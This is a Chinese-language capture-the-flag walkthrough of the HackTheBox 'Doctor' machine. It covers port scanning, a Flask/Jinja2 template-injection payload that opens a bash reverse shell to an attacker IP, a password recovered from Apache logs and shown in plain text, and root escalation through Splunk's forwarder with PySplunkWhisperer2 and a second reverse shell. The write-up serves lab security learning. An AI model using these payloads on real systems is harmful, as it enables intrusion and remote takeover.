基本介绍

靶机介绍

intro

难度为 easy, 操作系统为 Linux

工具列表

User flag

端口扫描就服务发现

使用 Nmap 进行全 TCP 端口扫描

1
nmap -sS -p- 10.10.10.209 -T4

Not shown: 65532 filtered ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 8089/tcp open unknown

开放了三个端口, 继续进行服务枚举:

{% blockquote %}

1
nmap -sC -sV -p22,80,8089 10.10.10.209

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |http-title: Doctor 8089/tcp open ssl/http Splunkd httpd | http-robots.txt: 1 disallowed entry |/ |_http-server-header: Splunkd |_http-title: splunkd | ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser | Not valid before: 2020-09-06T15:57:27 |_Not valid after: 2023-09-06T15:57:27 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel {% endblockquote %}

可见很常见的 SSHApache, 版本维持一贯很新的特点, 而 8089 端口上的 Splunkd 相对比较陌生。

Web 探测

使用浏览器查看:

index

对该页面进行一番探测, 并没有什么收获; 倒是页面中间的邮箱地址 info@doctors.htb 才是关键, htb 一贯的套路, 将 doctors.htb 添加到 /etc/hosts, 再次访问网页便能访问到与之前不同的页面。

login

下面可以注册账户, 不过账户的有效期只有 20 min, 注册之后可以进入以下页面:

home

SSTI 利用

点击 New Message 可以添加 Post, 随便写一个:

new_post

查看以上页面源码可发现被注释掉的一行代码:

1
<!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>-->

访问该 URI 并查看源码可见 post 的 title 出现在了里面:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8" ?>
	<rss version="2.0">
	<channel>
 	<title>Archive</title>
 	<item><title>test</title></item>

			</channel>

那么, 能否利用 title 注入一些东西呢? 发现该网站使用 Flask 开发:

wapp

Flask 中经常使用模板进行开发, 于是锁定在了 SSTI (服务端模板注入) 上。首先使用 {{7*7}} 这种简单的 payload 来进行探测, 确定存在漏洞。然后就是痛苦的构造过程了, 具体参考链接 2, 3, 4; 最终构造出 payload 如下, 访问 /archive, 反弹 shell 连接至我的机器:

1
{{"".__class__.__bases__[0].__subclasses__()[407]("bash -c 'bash -i >& /dev/tcp/10.10.xxx.xxx/4444 0>&1'", shell=True, stdout=-1).communicate()}}

rev_shell

横向越权

讲真这块让我自己想打死也想不到, 这台机器还有另一个账户 shaun, 参考了别人的 walkthrough 才发现密码在 Apache 的日志中泄漏了。在 /var/log/apache2 中搜索关键字:

1
grep -r password

可以发现以下的条目:

reset_password

使用该密码进行登陆, 成功拿到 user.txt:

su

Root flag

该机器上运行着 Splunk universal forwarder, 只要拥有凭据就可以利用其部署自己构造的恶意 app, 而 splunkd 是以 root 权限运行的, 从而利用其反弹 shell 来提升至 root 权限。利用参考链接 5 中的 PySplunkWhisperer2_remote.py:

1
python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.15.194 --username shaun --password Guitar123 --payload "bash -c 'bash -i >& /dev/tcp/10.10.15.194/3333 0>&1'"

成功拿到 root.txt:

root

总结

HTB 虽说贴近真实环境, 但也是有套路的, 如添加 /etc/hosts, 也了解到有些机器获取域名这一步就很困难, 看来得先熟悉套路, 要不开始即卡死。Web 这块确实是我的软肋, 这只是一个基础的 SSTI, 没有任何过滤机制, 现实中能否见到同样的就比较难说了。真实的 SSTI 利用过程可以参考链接 1, 可见熟悉各个模板引擎的特征和区分才是重头戏。Enum, 再 enum, 加油。

参考链接

  1. SSTI

  2. SSTI in Flask/Jinja2

  3. flask之ssti模版注入从零到入门

  4. Python Magic Methods

  5. Doctor HTB

  6. Pentration Testing with Splunk

  7. Splunk Universal Forwarder Hijacking 2: SplunkWhisperer2